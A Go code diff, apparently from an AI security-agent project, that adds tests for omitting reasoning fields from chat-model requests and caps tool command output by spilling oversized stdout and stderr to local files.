var reasoningPayloadKeysForTest = []string{"thinking", "reasoning_effort", "output_config", "reasoning"}
func assertNoReasoningFields(t *testing.T, cfg *einoopenai.ChatModelConfig) {
t.Helper()
if cfg.ReasoningEffort != "" {
t.Fatalf("expected ReasoningEffort omitted, got %q", cfg.ReasoningEffort)
}
for _, key := range reasoningPayloadKeysForTest {
if _, ok := cfg.ExtraFields[key]; ok {
t.Fatalf("expected %q omitted, got %#v", key, cfg.ExtraFields)
}
}
}
func TestEffortStringForAPI_passthrough(t *testing.T) {
cases := map[string]string{
"max": "max",
@@ -50,7 +70,11 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
}
func TestApplyPlanExecutePlannerModelConfig_stripsReasoningWhenGlobalOn(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
cfg := &einoopenai.ChatModelConfig{ExtraFields: map[string]any{
"thinking": map[string]any{"type": "enabled"},
"reasoning_effort": "high",
"vendor_option": true,
}}
oa := &config.OpenAIConfig{
BaseURL: "https://antchat.example.com/v1",
Model: "minimax-m3",
@@ -61,31 +85,119 @@ func TestApplyPlanExecutePlannerModelConfig_stripsReasoningWhenGlobalOn(t *testi
},
}
ApplyPlanExecutePlannerModelConfig(cfg, oa)
if cfg.ReasoningEffort != "" {
t.Fatalf("expected ReasoningEffort cleared, got %q", cfg.ReasoningEffort)
}
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || th["type"] != "disabled" {
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
}
if _, ok := cfg.ExtraFields["reasoning_effort"]; ok {
t.Fatalf("expected reasoning_effort stripped, got %#v", cfg.ExtraFields)
assertNoReasoningFields(t, cfg)
if cfg.ExtraFields["vendor_option"] != true {
t.Fatalf("expected unrelated extra field preserved, got %#v", cfg.ExtraFields)
}
}
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
func TestApplyReasoningOff_omitsAllReasoningFields(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{ExtraFields: map[string]any{
"thinking": map[string]any{"type": "enabled"},
"output_config": map[string]any{"effort": "high"},
}}
oa := &config.OpenAIConfig{
BaseURL: "https://api.openai.com/v1",
Model: "gpt-4o",
Model: "gpt-4o-mini",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off",
Mode: "off",
Effort: "high",
Profile: "openai_compat",
ExtraRequestFields: map[string]interface{}{
"thinking": map[string]any{"type": "disabled"},
"reasoning": map[string]any{"effort": "high"},
"vendor_option": true,
},
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || th["type"] != "disabled" {
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
assertNoReasoningFields(t, cfg)
if cfg.ExtraFields["vendor_option"] != true {
t.Fatalf("expected unrelated extra field preserved, got %#v", cfg.ExtraFields)
}
}
func TestApplyReasoningOff_clientOverrideOmit(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{Reasoning: config.OpenAIReasoningConfig{
Mode: "on", Effort: "high", Profile: "openai_compat",
}}
ApplyToEinoChatModelConfig(cfg, oa, &ClientIntent{Mode: "off", Effort: "high"})
assertNoReasoningFields(t, cfg)
}
func TestApplyReasoningOff_deepseekExplicitlyDisablesDefaultThinking(t *testing.T) {
for _, profile := range []string{"deepseek_compat", "auto"} {
t.Run(profile, func(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{ExtraFields: map[string]any{
"reasoning_effort": "high",
"vendor_option": true,
}}
oa := &config.OpenAIConfig{
BaseURL: "https://api.deepseek.com",
Model: "deepseek-v4-pro",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off", Effort: "high", Profile: profile,
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
if cfg.ReasoningEffort != "" {
t.Fatalf("expected ReasoningEffort omitted, got %q", cfg.ReasoningEffort)
}
if _, ok := cfg.ExtraFields["reasoning_effort"]; ok {
t.Fatalf("expected reasoning_effort omitted, got %#v", cfg.ExtraFields)
}
thinking, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || thinking["type"] != "disabled" {
t.Fatalf("expected DeepSeek thinking disabled, got %#v", cfg.ExtraFields)
}
if cfg.ExtraFields["vendor_option"] != true {
t.Fatalf("expected unrelated extra field preserved, got %#v", cfg.ExtraFields)
}
})
}
}
func TestApplyReasoningOff_wirePayloadOmitsThinking(t *testing.T) {
var requestBody map[string]any
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := io.ReadAll(r.Body)
if err != nil {
t.Errorf("read request body: %v", err)
}
if err := json.Unmarshal(body, &requestBody); err != nil {
t.Errorf("decode request body: %v; body=%s", err, body)
}
w.Header().Set("Content-Type", "application/json")
_, _ = io.WriteString(w, `{"id":"chatcmpl-test","object":"chat.completion","created":1,"model":"gpt-4o-mini","choices":[{"index":0,"message":{"role":"assistant","content":"ok"},"finish_reason":"stop"}],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}`)
}))
defer srv.Close()
cfg := &einoopenai.ChatModelConfig{
APIKey: "test-key",
BaseURL: srv.URL,
Model: "gpt-4o-mini",
}
oa := &config.OpenAIConfig{
BaseURL: "https://api.openai.com/v1",
Model: "gpt-4o-mini",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off", Effort: "high", Profile: "openai_compat",
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
model, err := einoopenai.NewChatModel(context.Background(), cfg)
if err != nil {
t.Fatalf("new chat model: %v", err)
}
if _, err := model.Generate(context.Background(), []*schema.Message{schema.UserMessage("hello")}); err != nil {
t.Fatalf("generate: %v", err)
}
for _, key := range reasoningPayloadKeysForTest {
if _, ok := requestBody[key]; ok {
t.Fatalf("wire payload unexpectedly contains %q: %#v", key, requestBody)
}
}
}
+259 -32
View File
@@ -16,8 +16,10 @@ import (
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/tooloutput"
"github.com/creack/pty"
"github.com/google/uuid"
"go.uber.org/zap"
)
@@ -37,6 +39,8 @@ type Executor struct {
mcpServer *mcp.Server
logger *zap.Logger
shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数;0=默认 300-1=关闭(见 SetShellNoOutputTimeoutSeconds
toolOutputMaxBytes int
spillRootDir string
}
// NewExecutor 创建新的执行器
@@ -57,6 +61,51 @@ func (e *Executor) SetShellNoOutputTimeoutSeconds(sec int) {
e.shellNoOutputTimeoutSec = sec
}
// SetToolOutputMaxBytes limits stdout/stderr retained and streamed by exec-like
// tools. It should stay aligned with MCP result normalization so every channel
// sees the same bounded payload. Oversized full output is spilled to disk first.
func (e *Executor) SetToolOutputMaxBytes(maxBytes int) {
e.toolOutputMaxBytes = maxBytes
}
// SetToolOutputSpillRoot sets the reduction-compatible root for spilling full
// exec stdout/stderr when the in-memory bound is exceeded (empty → tmp/reduction).
func (e *Executor) SetToolOutputSpillRoot(rootDir string) {
e.spillRootDir = strings.TrimSpace(rootDir)
}
func (e *Executor) wrapToolOutputCallback(ctx context.Context, cb ToolOutputCallback) ToolOutputCallback {
executionID := mcp.MCPExecutionIDFromContext(ctx)
if e == nil || e.mcpServer == nil || strings.TrimSpace(executionID) == "" {
return cb
}
return func(chunk string) {
if chunk != "" {
e.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk)
}
if cb != nil {
cb(chunk)
}
}
}
func (e *Executor) spillOptsFromContext(ctx context.Context) tooloutput.SpillOpts {
root := ""
if e != nil {
root = e.spillRootDir
}
opts := tooloutput.SpillOpts{RootDir: root}
if ctx != nil {
opts.ConversationID = mcp.MCPConversationIDFromContext(ctx)
opts.ProjectID = mcp.MCPProjectIDFromContext(ctx)
opts.ExecutionID = mcp.MCPExecutionIDFromContext(ctx)
}
if opts.ExecutionID == "" {
opts.ExecutionID = uuid.NewString()
}
return opts
}
// buildToolIndex 构建工具索引,将 O(n) 查找优化为 O(1)
func (e *Executor) buildToolIndex() {
e.toolIndex = make(map[string]*config.ToolConfig)
@@ -149,9 +198,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
var output string
var err error
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
spill := e.spillOptsFromContext(ctx)
// 如果上层提供了 stdout/stderr 增量回调,或当前处于 MCP execution 中,则边执行边读取并回调。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
cb = e.wrapToolOutputCallback(ctx, cb)
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
zap.String("tool", toolName),
@@ -159,11 +210,11 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
applyDefaultTerminalEnv(cmd2)
_ = prepareShellCmdSession(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, cb)
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
}
} else {
// 非流式:内存缓冲 + ctx 取消杀进程组;行为对齐原 CombinedOutput,避免双流管道 fan-in 死锁。
output, err = combinedOutputCancellable(ctx, cmd)
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到工具需要 TTY,使用 PTY 重试",
zap.String("tool", toolName),
@@ -171,7 +222,7 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...)
applyDefaultTerminalEnv(cmd2)
_ = prepareShellCmdSession(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, nil)
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
}
}
if err != nil {
@@ -912,9 +963,11 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
// 非后台命令:等待输出
var output string
var err error
// 若上层提供工具输出增量回调,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec))
spill := e.spillOptsFromContext(ctx)
// 若上层提供工具输出增量回调,或当前处于 MCP execution 中,则边执行边流式读取。
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" {
cb = e.wrapToolOutputCallback(ctx, cb)
output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
@@ -922,10 +975,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
cmd2.Dir = workDir
}
ConfigureShellCmdForAgentExecute(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, cb)
output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill)
}
} else {
output, err = combinedOutputCancellable(ctx, cmd)
output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill)
if err != nil && shouldRetryWithPTY(output) {
e.logger.Info("检测到系统命令需要 TTY,使用 PTY 重试")
cmd2 := exec.CommandContext(ctx, shell, "-c", command)
@@ -933,7 +986,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
cmd2.Dir = workDir
}
ConfigureShellCmdForAgentExecute(cmd2)
output, err = runCommandWithPTY(ctx, cmd2, nil)
output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill)
}
}
if err != nil {
@@ -974,9 +1027,19 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
// 非流式路径不使用双流管道 fan-in,避免 stderr 撑满管道缓冲区时与 stdout 互相阻塞导致死锁。
// 无输出空闲检测由上层 agent.tool_timeout_minutes 兜底,不改变原 CombinedOutput 语义。
func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, error) {
var stdoutBuf, stderrBuf strings.Builder
cmd.Stdout = &stdoutBuf
cmd.Stderr = &stderrBuf
return combinedOutputCancellableWithLimit(ctx, cmd, 0, tooloutput.SpillOpts{})
}
func combinedOutputCancellableWithLimit(ctx context.Context, cmd *exec.Cmd, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
var tee *tooloutput.Tee
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
stdoutBuf := newBoundedOutputCollector(maxBytes, tee)
stderrBuf := newBoundedOutputCollector(maxBytes, tee)
cmd.Stdout = stdoutBuf
cmd.Stderr = stderrBuf
session, err := StartShellSession(cmd)
if err != nil {
@@ -1003,9 +1066,9 @@ func combinedOutputCancellable(ctx context.Context, cmd *exec.Cmd) (string, erro
case waitErr = <-done:
case <-ctx.Done():
waitErr = <-done
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), ctx.Err()
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), ctx.Err()
}
return joinCommandOutput(stdoutBuf.String(), stderrBuf.String()), waitErr
return finalizeJoinedBoundedOutputs(stdoutBuf, stderrBuf, maxBytes, tee), waitErr
}
func joinCommandOutput(stdout, stderr string) string {
@@ -1018,9 +1081,164 @@ func joinCommandOutput(stdout, stderr string) string {
return stdout + stderr
}
type boundedOutputCollector struct {
builder strings.Builder
maxBytes int
seenBytes int
truncated bool
tee *tooloutput.Tee
}
func newBoundedOutputCollector(maxBytes int, tee *tooloutput.Tee) *boundedOutputCollector {
return &boundedOutputCollector{maxBytes: maxBytes, tee: tee}
}
func (b *boundedOutputCollector) Write(p []byte) (int, error) {
b.WriteStringLimited(string(p))
return len(p), nil
}
func (b *boundedOutputCollector) WriteStringLimited(s string) string {
if b == nil {
return ""
}
if b.tee != nil {
_, _ = b.tee.Write([]byte(s))
}
if b.maxBytes <= 0 {
b.seenBytes += len(s)
b.builder.WriteString(s)
return s
}
b.seenBytes += len(s)
if b.builder.Len() >= b.maxBytes {
b.truncated = true
return ""
}
remaining := b.maxBytes - b.builder.Len()
if len(s) <= remaining {
b.builder.WriteString(s)
return s
}
kept := truncateStringBytes(s, remaining)
b.builder.WriteString(kept)
b.truncated = true
return kept
}
func (b *boundedOutputCollector) String() string {
if b == nil {
return ""
}
return b.builder.String()
}
func finalizeJoinedBoundedOutputs(stdout, stderr *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
if tee != nil {
_ = tee.Close()
}
truncated := (stdout != nil && stdout.truncated) || (stderr != nil && stderr.truncated)
seen := 0
if stdout != nil {
seen += stdout.seenBytes
}
if stderr != nil {
seen += stderr.seenBytes
}
joined := joinCommandOutput(
func() string {
if stdout == nil {
return ""
}
return stdout.String()
}(),
func() string {
if stderr == nil {
return ""
}
return stderr.String()
}(),
)
if maxBytes > 0 && !truncated && len(joined) > maxBytes {
truncated = true
seen = len(joined)
}
path := ""
if tee != nil {
path = tee.Path()
}
if truncated && maxBytes > 0 {
if path != "" {
return tooloutput.FormatPersistedFromFile(path, seen, maxBytes)
}
if len(joined) > maxBytes {
return truncateStringBytes(joined, maxBytes)
}
return joined
}
if path != "" {
_ = os.Remove(path)
}
if maxBytes > 0 && len(joined) > maxBytes {
return truncateStringBytes(joined, maxBytes)
}
return joined
}
func finalizeBoundedOutput(collector *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
if tee != nil {
_ = tee.Close()
}
if collector == nil {
return ""
}
path := ""
if tee != nil {
path = tee.Path()
}
if collector.truncated && maxBytes > 0 {
if path != "" {
return tooloutput.FormatPersistedFromFile(path, collector.seenBytes, maxBytes)
}
return truncateStringBytes(collector.String(), maxBytes)
}
if path != "" {
_ = os.Remove(path)
}
out := collector.String()
if maxBytes > 0 && len(out) > maxBytes {
return tooloutput.BoundWithSpill(out, maxBytes, tooloutput.SpillOpts{})
}
return out
}
func limitOutputString(s string, maxBytes int, spill tooloutput.SpillOpts) string {
if maxBytes <= 0 || len(s) <= maxBytes {
return s
}
return tooloutput.BoundWithSpill(s, maxBytes, spill)
}
func truncateStringBytes(s string, maxBytes int) string {
if maxBytes <= 0 {
return ""
}
if len(s) <= maxBytes {
return s
}
cut := maxBytes
for cut > 0 && (s[cut]&0xC0) == 0x80 {
cut--
}
if cut <= 0 {
return ""
}
return s[:cut]
}
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
// 使用定长块读取,避免按行读取在无换行输出时永久阻塞;ctx 取消时终止进程树。
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int) (string, error) {
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return "", err
@@ -1072,7 +1290,12 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
close(chunks)
}()
var outBuilder strings.Builder
tee := (*tooloutput.Tee)(nil)
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
outBuilder := newBoundedOutputCollector(maxBytes, tee)
var deltaBuilder strings.Builder
lastFlush := time.Now()
@@ -1095,7 +1318,7 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
fireInactivity := func() {
TerminateShellCmdSession(session)
msg := ShellNoOutputTimeoutMessage(idleWatch.Sec)
outBuilder.WriteString(msg)
msg = outBuilder.WriteStringLimited(msg)
if cb != nil {
cb(msg)
}
@@ -1116,7 +1339,7 @@ chunksLoop:
return outBuilder.String(), ctx.Err()
case <-idleCh:
fireInactivity()
return outBuilder.String(), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
return finalizeBoundedOutput(outBuilder, maxBytes, tee), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
case chunk, ok := <-chunks:
if !ok {
break chunksLoop
@@ -1124,8 +1347,8 @@ chunksLoop:
if chunk != "" && idleWatch != nil {
idleWatch.Bump()
}
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
keptChunk := outBuilder.WriteStringLimited(chunk)
deltaBuilder.WriteString(keptChunk)
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
@@ -1135,7 +1358,7 @@ chunksLoop:
// 等待命令结束,返回最终退出状态
waitErr := session.Wait()
return outBuilder.String(), waitErr
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
}
// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。
@@ -1188,15 +1411,14 @@ func shouldRetryWithPTY(output string) bool {
// runCommandWithPTY 为子进程分配 PTY,适配需要交互式终端的工具(如 autorecon)。
// 若 cb != nil,将持续回调增量输出(用于 SSE)。
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
if runtime.GOOS == "windows" {
// PTY 方案为类 UnixWindows 走原逻辑
if cb != nil {
return streamCommandOutput(ctx, cmd, cb, 0)
return streamCommandOutput(ctx, cmd, cb, 0, maxBytes, spill)
}
_ = prepareShellCmdSession(cmd)
out, err := cmd.CombinedOutput()
return string(out), err
return combinedOutputCancellableWithLimit(ctx, cmd, maxBytes, spill)
}
_ = prepareShellCmdSession(cmd)
@@ -1223,7 +1445,12 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
}()
defer close(done)
var outBuilder strings.Builder
tee := (*tooloutput.Tee)(nil)
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
outBuilder := newBoundedOutputCollector(maxBytes, tee)
var deltaBuilder strings.Builder
lastFlush := time.Now()
flush := func() {
@@ -1245,8 +1472,8 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
// 统一换行为 \n,避免前端错位
chunk = strings.ReplaceAll(chunk, "\r\n", "\n")
chunk = strings.ReplaceAll(chunk, "\r", "\n")
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
keptChunk := outBuilder.WriteStringLimited(chunk)
deltaBuilder.WriteString(keptChunk)
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
@@ -1258,7 +1485,7 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
flush()
waitErr := cmd.Wait()
return outBuilder.String(), waitErr
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
}
// executeInternalTool 执行内部工具(不执行外部命令)
+101
View File
@@ -73,6 +73,43 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
}
}
func TestExecToolSoftWaitExposesPartialOutput(t *testing.T) {
executor, server := setupTestExecutor(t)
server.ConfigureToolWaitTimeoutSeconds(1)
mcp.RegisterExecutionControlTools(server, nil)
server.RegisterTool(mcp.Tool{Name: "exec", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
return executor.ExecuteTool(ctx, "exec", args)
})
result, executionID, err := server.CallTool(context.Background(), "exec", map[string]interface{}{
"command": "for i in 1 2 3 4; do echo partial-$i; sleep 0.3; done; sleep 5",
"shell": "sh",
})
if err != nil {
t.Fatalf("CallTool exec: %v", err)
}
if executionID == "" || result == nil || !result.IsError {
t.Fatalf("expected soft wait timeout, id=%q result=%#v", executionID, result)
}
status, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"include_partial_output": true,
"partial_output_max_bytes": 4096,
})
if err != nil {
t.Fatalf("get_tool_execution: %v", err)
}
body := mcp.ToolResultPlainText(status)
if !strings.Contains(body, `"status": "running"`) {
t.Fatalf("expected running execution, got: %s", body)
}
if !strings.Contains(body, "partial-") || !strings.Contains(body, "partial_output") {
t.Fatalf("expected partial output in execution status, got: %s", body)
}
server.CancelToolExecution(executionID)
}
func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
executor, _ := setupTestExecutor(t)
res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{
@@ -94,6 +131,70 @@ func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
}
}
func TestExecuteSystemCommand_OutputIsSourceLimited(t *testing.T) {
executor, _ := setupTestExecutor(t)
spillRoot := t.TempDir()
executor.SetToolOutputMaxBytes(200)
executor.SetToolOutputSpillRoot(spillRoot)
ctx := mcp.WithMCPConversationID(context.Background(), "exec-spill")
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
"command": "i=0; while [ $i -lt 2000 ]; do printf 0123456789; i=$((i+1)); done",
"shell": "sh",
})
if err != nil {
t.Fatalf("executeSystemCommand: %v", err)
}
if res == nil || res.IsError {
t.Fatalf("expected success, got %+v", res)
}
text := res.Content[0].Text
if !strings.Contains(text, "<persisted-output>") || !strings.Contains(text, "Full output saved to:") {
t.Fatalf("missing persisted-output notice: %q", text)
}
if len(text) > 200 {
t.Fatalf("output exceeded hard limit: len=%d text=%q", len(text), text)
}
if strings.Contains(text, strings.Repeat("0123456789", 20)) {
t.Fatalf("output kept too much data: len=%d", len(text))
}
}
func TestExecuteSystemCommand_StreamingOutputIsSourceLimited(t *testing.T) {
executor, _ := setupTestExecutor(t)
spillRoot := t.TempDir()
executor.SetToolOutputMaxBytes(200)
executor.SetToolOutputSpillRoot(spillRoot)
var streamed strings.Builder
ctx := context.WithValue(context.Background(), ToolOutputCallbackCtxKey, ToolOutputCallback(func(chunk string) {
streamed.WriteString(chunk)
}))
ctx = mcp.WithMCPConversationID(ctx, "exec-stream-spill")
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
"command": "i=0; while [ $i -lt 2000 ]; do printf abcdefghij; i=$((i+1)); done",
"shell": "sh",
})
if err != nil {
t.Fatalf("executeSystemCommand: %v", err)
}
text := res.Content[0].Text
if !strings.Contains(text, "<persisted-output>") {
t.Fatalf("missing persisted-output notice: %q", text)
}
if len(text) > 200 {
t.Fatalf("returned output exceeded hard limit: len=%d text=%q", len(text), text)
}
// SSE only streams the bounded prefix; final agent-facing body is the spill notice.
if len(streamed.String()) > 200 {
t.Fatalf("streamed prefix exceeded hard limit: len=%d", len(streamed.String()))
}
if streamed.Len() == 0 {
t.Fatal("expected some streamed prefix before truncation")
}
if strings.Contains(text, strings.Repeat("abcdefghij", 50)) {
t.Fatalf("returned output kept too much raw data: len=%d", len(text))
}
}
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
pos1 := 1
executor, _ := setupTestExecutor(t)
+2
View File
@@ -151,6 +151,8 @@ func permissionForRequest(method, fullPath string) string {
return crudPermission(method, "knowledge")
case strings.HasPrefix(path, "/vulnerabilities"):
return crudPermission(method, "vulnerability")
case path == "/assets/batch-delete", path == "/assets/merge":
return "asset:delete"
case strings.HasPrefix(path, "/assets"):
return crudPermission(method, "asset")
case strings.HasPrefix(path, "/vulnerability-alerts"):
+292
View File
@@ -0,0 +1,292 @@
// Package tooloutput spills oversized tool stdout/results to local files under
// the reduction cache tree (tmp/reduction/...), so agents can read_file the
// full text after context truncation.
package tooloutput
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"unicode/utf8"
"github.com/google/uuid"
)
const (
defaultRootDir = "tmp/reduction"
readFileHint = "read_file"
)
// SpillOpts scopes where a trunc file is written (mirrors reduction RootDir layout).
type SpillOpts struct {
RootDir string // reduction_root_dir or empty → tmp/reduction
ProjectID string
ConversationID string
ExecutionID string // preferred file name; empty → uuid
}
// SessionRoot returns the conversation/project-scoped reduction cache root.
func SessionRoot(configuredBase, projectID, conversationID string) string {
base := strings.TrimSpace(configuredBase)
if base == "" {
base = defaultRootDir
}
if pid := strings.TrimSpace(projectID); pid != "" {
return filepath.Join(base, "projects", sanitizeSegment(pid))
}
conv := strings.TrimSpace(conversationID)
if conv == "" {
conv = "default"
}
return filepath.Join(base, "conversations", sanitizeSegment(conv))
}
// WriteTruncFile writes full content under {sessionRoot}/trunc/{id} and returns
// an absolute path suitable for read_file.
func WriteTruncFile(opts SpillOpts, content string) (string, error) {
session := SessionRoot(opts.RootDir, opts.ProjectID, opts.ConversationID)
id := strings.TrimSpace(opts.ExecutionID)
if id == "" {
id = uuid.NewString()
}
id = sanitizeSegment(id)
dir := filepath.Join(session, "trunc")
if err := os.MkdirAll(dir, 0o755); err != nil {
return "", fmt.Errorf("mkdir tool output trunc dir: %w", err)
}
path := filepath.Join(dir, id)
if abs, err := filepath.Abs(path); err == nil {
path = abs
}
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
return "", fmt.Errorf("write tool output trunc file: %w", err)
}
return path, nil
}
// BoundWithSpill truncates full text into a <persisted-output> notice after
// spilling the original to disk. The returned string is always ≤ maxBytes when
// maxBytes > 0. On spill failure it falls back to a prefix + marker (no path).
func BoundWithSpill(full string, maxBytes int, opts SpillOpts) string {
if maxBytes <= 0 || len(full) <= maxBytes {
return full
}
path, err := WriteTruncFile(opts, full)
if err != nil {
return boundPrefixOnly(full, maxBytes, len(full), "")
}
return FormatPersistedOutput(full, path, maxBytes)
}
// FormatPersistedOutput builds a reduction-compatible notice with head/tail
// previews that fits in maxBytes.
func FormatPersistedOutput(full, filePath string, maxBytes int) string {
return formatPersisted(len(full), filePath, full, maxBytes)
}
// FormatPersistedFromFile builds the notice using previews read from an already
// spilled file (streaming collectors that never kept the full string in memory).
func FormatPersistedFromFile(filePath string, originalSize, maxBytes int) string {
previewSrc := ""
if data, err := os.ReadFile(filePath); err == nil {
previewSrc = string(data)
if originalSize <= 0 {
originalSize = len(data)
}
}
return formatPersisted(originalSize, filePath, previewSrc, maxBytes)
}
func formatPersisted(originalSize int, filePath, previewSrc string, maxBytes int) string {
if maxBytes <= 0 {
maxBytes = 12000
}
// Always keep the absolute path readable for read_file, even under tight budgets.
minimal := fmt.Sprintf(
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s to read.\n</persisted-output>",
originalSize, filePath, readFileHint,
)
if len(minimal) > maxBytes {
core := fmt.Sprintf("<persisted-output>Full output saved to: %s</persisted-output>", filePath)
if len(core) <= maxBytes {
return core
}
// Path longer than budget: keep as much of the path as possible after a short prefix.
prefix := "<persisted-output>Full output saved to: "
suffix := "</persisted-output>"
room := maxBytes - len(prefix) - len(suffix)
if room <= 0 {
return clampPrefix(core, maxBytes)
}
return prefix + clampSuffix(filePath, room) + suffix
}
previewBudget := maxBytes - len(minimal) + 32 // approximate room beyond minimal shell
if previewBudget > 4000 {
previewBudget = 4000
}
if previewBudget < 0 {
previewBudget = 0
}
for previewBudget >= 0 {
half := previewBudget / 2
head := clampPrefix(previewSrc, half)
